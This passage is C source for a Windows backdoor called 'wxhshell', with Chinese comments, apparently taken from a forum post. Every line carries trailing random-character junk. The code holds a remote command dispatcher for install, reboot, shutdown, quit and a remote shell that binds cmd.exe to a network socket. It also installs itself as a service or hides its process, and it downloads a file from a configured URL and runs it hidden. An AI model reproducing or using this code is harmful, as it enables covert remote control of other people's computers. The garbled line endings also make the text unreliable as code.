    switch(cmd[0]) { $FZ~]Ef  
  HhhN8t  
  // 帮助 OGh9^,v  
  case '?': { h^D? G2O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M9HM:  
    break; _,"T;i  
  } TDs=VTd@Z  
  // 安装 B/:q  
  case 'i': { !JzM<hyg3  
    if(Install()) fchsn*R%-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n@XI$>B  
    else B^P)(Nu+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UX;?~X  
    break; VUxuX5B3M  
    } ZZ?0%9  
  // 卸载 E?z3 D*U  
  case 'r': { [-_3Zr  
    if(Uninstall()) IP7j)SM!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?>cx; "xF  
    else LdwWB `L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I?uU }NK  
    break; %%)"W n#`  
    } >0DQ<@ot:  
  // 显示 wxhshell 所在路径 t,#7F$t  
  case 'p': { jOa . h  
    char svExeFile[MAX_PATH]; ^=.R#zrc  
    strcpy(svExeFile,"\n\r"); /17Qhex  
      strcat(svExeFile,ExeFile); u n\!K  
        send(wsh,svExeFile,strlen(svExeFile),0); +%7v#CY &  
    break; Yrs7F.Y"  
    } aY}:9qBice  
  // 重启 )=;GQ*<8Zs  
  case 'b': { Wf/r@/ q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f_Ma~'3   
    if(Boot(REBOOT)) dKTyh:_{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3p6QJuSB  
    else { rn $a)^!  
    closesocket(wsh); y<0zAsT  
    ExitThread(0); &a5UQ>  
    } O;z:?  
    break; T$%r?p(s  
    } n^B9Mh @  
  // 关机 3}(6z"r  
  case 'd': { 1)pwR3(^Fz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r&oR|-2hRk  
    if(Boot(SHUTDOWN)) .A<G$ db ?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /2l&D~d"  
    else { Z8E-(@`q5Q  
    closesocket(wsh); WHeyE3}p  
    ExitThread(0); !iA 3\Ai"  
    } CuC1s>  
    break;  a?S5 =  
    } E-IVv  
  // 获取shell :+NZW9_  
  case 's': { S "'0l S   
    CmdShell(wsh); @&?E3?5ll  
    closesocket(wsh); `|coA2$rw  
    ExitThread(0); u^|c_5J(  
    break; 7'Z-VO  
  } 6D|[3rXr  
  // 退出 w^z5O6   
  case 'x': { ,`PC^`0c}o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -{`8Av5)E%  
    CloseIt(wsh); \~ m\pf?  
    break; dp#JvZb  
    } 7f|8SB  
  // 离开 ?lq  
  case 'q': { lC/1,Z/M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "@^Pb$BLY  
    closesocket(wsh); %]7'2  
    WSACleanup(); `ppyCUX  
    exit(1); x1H1[0w,i  
    break; x1]J  
        } K8#MQR2@  
  } k%uR!cL  
  } xfoQx_]$Im  
p 4_j>JPv5  
  // 提示信息 ~MWI-oK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g>G+?PY  
} m}A|W[p<  
  } 9d&@;&al  
5.ibH  
  return; )U12Rshl  
} >[}lC7 z,  
R !g'zS'  
// shell模块句柄 q9Zp8&<EqH  
int CmdShell(SOCKET sock) L$L/5/  
{ yPY}b_W  
STARTUPINFO si; '8%jA$o\g  
ZeroMemory(&si,sizeof(si)); ;)~}/nR<a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =LXjq~p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YP E1s  
PROCESS_INFORMATION ProcessInfo; "5<:Dj/W  
char cmdline[]="cmd"; 8;6j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ')N[)&&Q{  
  return 0; 1WjNFi  
} @k=UB&?I  
0JFS%Yjw[  
// 自身启动模式 "s-3226kj  
int StartFromService(void) y0vJ@ %`  
{ H9;0$Y(e-  
typedef struct ;~D$ rT  
{ yFoPCA86y  
  DWORD ExitStatus; $%BI8_  
  DWORD PebBaseAddress; <W] RyEg`  
  DWORD AffinityMask; Ft E5H  
  DWORD BasePriority; E7'  
  ULONG UniqueProcessId; :HW| mqKd  
  ULONG InheritedFromUniqueProcessId; Y5c,O>T5Y  
}   PROCESS_BASIC_INFORMATION; R [ZY;g:p  
rn^cajO^  
PROCNTQSIP NtQueryInformationProcess; )]}G8A  
/< k&[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X)e#=w!fi3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O22Q g  
e ,kxg^  
  HANDLE             hProcess; ZnKjU ]m  
  PROCESS_BASIC_INFORMATION pbi; IG+g7kDCY  
JBhM*-t(M1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k5M5bH',  
  if(NULL == hInst ) return 0; IOA2/ WQu  
M"Dv -#f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GYZP?E p*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rp9?p%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {N3&JL5\"E  
g.Tc>?~  
  if (!NtQueryInformationProcess) return 0; (Bq^ D9  
l1bkhA b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y~ xo=v(  
  if(!hProcess) return 0; &(7=NAQsE  
Gv[s86AP,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1=Z!ZY}}e  
3Ccy %;  
  CloseHandle(hProcess); InI>So%e|<  
3v@h&7<E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M>E~eb/  
if(hProcess==NULL) return 0; ?g\emhG  
X=+|(A,BdY  
HMODULE hMod; w73?E#8  
char procName[255]; fB80&G9  
unsigned long cbNeeded; 6ao~f?JZ  
aFaioE#h(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xa.tH)R  
Ul_ 5"3ze  
  CloseHandle(hProcess); #M%K82"  
,,SV@y;  
if(strstr(procName,"services")) return 1; // 以服务启动 IRGcE&m  
h;@c%Vm  
  return 0; // 注册表启动 qnCjNN  
} 2E8G 5?qe)  
@U3:9~Q  
// 主模块 @R-11wP)M  
int StartWxhshell(LPSTR lpCmdLine) T>f6V 5  
{ OlB9z  
  SOCKET wsl; dz?On\66  
BOOL val=TRUE; M8V c5  
  int port=0; h!@7'Q  
  struct sockaddr_in door; ollsB3]]  
`Of D^Q=  
  if(wscfg.ws_autoins) Install(); SJ91(K  
Q^;:Kl.b  
port=atoi(lpCmdLine); ua"2nVxK_K  
s+~GQcj<T  
if(port<=0) port=wscfg.ws_port; )=#e*1!b  
Esu {c9,  
  WSADATA data; j]FK.G'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "fr{:'HX  
Uks%Mo9on  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h%U}Y5Ps~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3.@LAF  
  door.sin_family = AF_INET; $ay!'MK0d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oYdE s&qq  
  door.sin_port = htons(port); &?1O D5  
^2H;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dB6['z)2  
closesocket(wsl); ,PmUl=  
return 1; 3dSb!q0&N  
} J%-4ZB"  
q}+zN eC  
  if(listen(wsl,2) == INVALID_SOCKET) { d<+hQ\BF,  
closesocket(wsl); XmD(&3;v-  
return 1; HMC-^4\%[  
} Cdy,8*   
  Wxhshell(wsl); O/|))H?C  
  WSACleanup(); U(0FL6sPC  
d#TA20`  
return 0; K-~gIlbQ`  
JO*/UC>"  
} BPa,P_6(  
Fsm6gE`|n  
// 以NT服务方式启动 p U9 .#O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5RvE ),  
{ P3`$4p?  
DWORD   status = 0; 0PqI^|!  
  DWORD   specificError = 0xfffffff; qEuO@oE  
4e/!BGkAS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xL1Li]fM!'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S.4+tf 7+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iMt3h8  
  serviceStatus.dwWin32ExitCode     = 0; rrr_{d/  
  serviceStatus.dwServiceSpecificExitCode = 0; d|oO2yzWv  
  serviceStatus.dwCheckPoint       = 0; ]/kpEx  
  serviceStatus.dwWaitHint       = 0; i^e8.zgywF  
F|{uA/P{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3rB0H   
  if (hServiceStatusHandle==0) return; ,,BP}f+l$  
=/_uk{  
status = GetLastError(); _XT'h;m  
  if (status!=NO_ERROR) $,2T~1tE  
{ PcEE`.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FLs$  
    serviceStatus.dwCheckPoint       = 0; Gc"hU:m  
    serviceStatus.dwWaitHint       = 0; E(j# R"  
    serviceStatus.dwWin32ExitCode     = status; P woiX#vz  
    serviceStatus.dwServiceSpecificExitCode = specificError;  *<W8j[?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S\h5 D2G;  
    return; v+"4YIN  
  } w6Nn x5Ay  
yw$4Hlj5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g\fj6  
  serviceStatus.dwCheckPoint       = 0; oWL_Hh%-f`  
  serviceStatus.dwWaitHint       = 0; tH)j EY9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (bQ3:%nD  
} njf\fw_  
C<AW)|r_  
// 处理NT服务事件,比如:启动、停止 &n )MGg1%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &:g:7l]g  
{ (z>t4(%\  
switch(fdwControl) i?Pnyi  
{ ^l|b>z"0ao  
case SERVICE_CONTROL_STOP: B Z|A&;  
  serviceStatus.dwWin32ExitCode = 0; Nwz?*~1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; + x=)Kp>  
  serviceStatus.dwCheckPoint   = 0; R__:~ uv,  
  serviceStatus.dwWaitHint     = 0; vo`&  
  { 7Vsp<s9bj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =K18|Q0m  
  } GM0Q@`d  
  return; !*}UP|8  
case SERVICE_CONTROL_PAUSE: I7oA7@zv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qEr?4h  
  break; \O;2^  
case SERVICE_CONTROL_CONTINUE: `,-mXxTNT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VwE4:/7YN  
  break; HKXC=^}x'  
case SERVICE_CONTROL_INTERROGATE: +q}t%K5  
  break; 8^>c_%e}  
}; *u1q7JFQk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &jHsFS  
} v^b4WS+.:  
(tX3?[ii  
// 标准应用程序主函数 +ODua@ULFB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OALNZKP  
{ x_nwD"   
WJOoDS!i  
// 获取操作系统版本 (MI>7| ';  
OsIsNt=GetOsVer(); \4q|Qno8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RkYn6  
Q !;syJBb.  
  // 从命令行安装 n?.;*:  
  if(strpbrk(lpCmdLine,"iI")) Install(); `SFeln{1B  
z~pp7  
  // 下载执行文件 h6 {vbYj  
if(wscfg.ws_downexe) { P35DVKS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;o!p9MEpz;  
  WinExec(wscfg.ws_filenam,SW_HIDE); CJ\a7=*i  
} iYStl  
F3}MM dX  
if(!OsIsNt) { {h?pvH_>  
// 如果时win9x,隐藏进程并且设置为注册表启动 &J6`Q<U!  
HideProc(); N&NBn(  
StartWxhshell(lpCmdLine); }`B .(3n  
} etr-\Cp  
else b# N"} -\^  
  if(StartFromService()) jmID@37t  
  // 以服务方式启动 Sf*)Z3f  
  StartServiceCtrlDispatcher(DispatchTable); ]nhh|q9r{  
else ETdXk&AN  
  // 普通方式启动 dH^6K0J  
  StartWxhshell(lpCmdLine); qNQ54#  
ST*h{:u&A  
return 0; VI2lw E3  
}
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只看该作者 1 发表于: 2006-10-10
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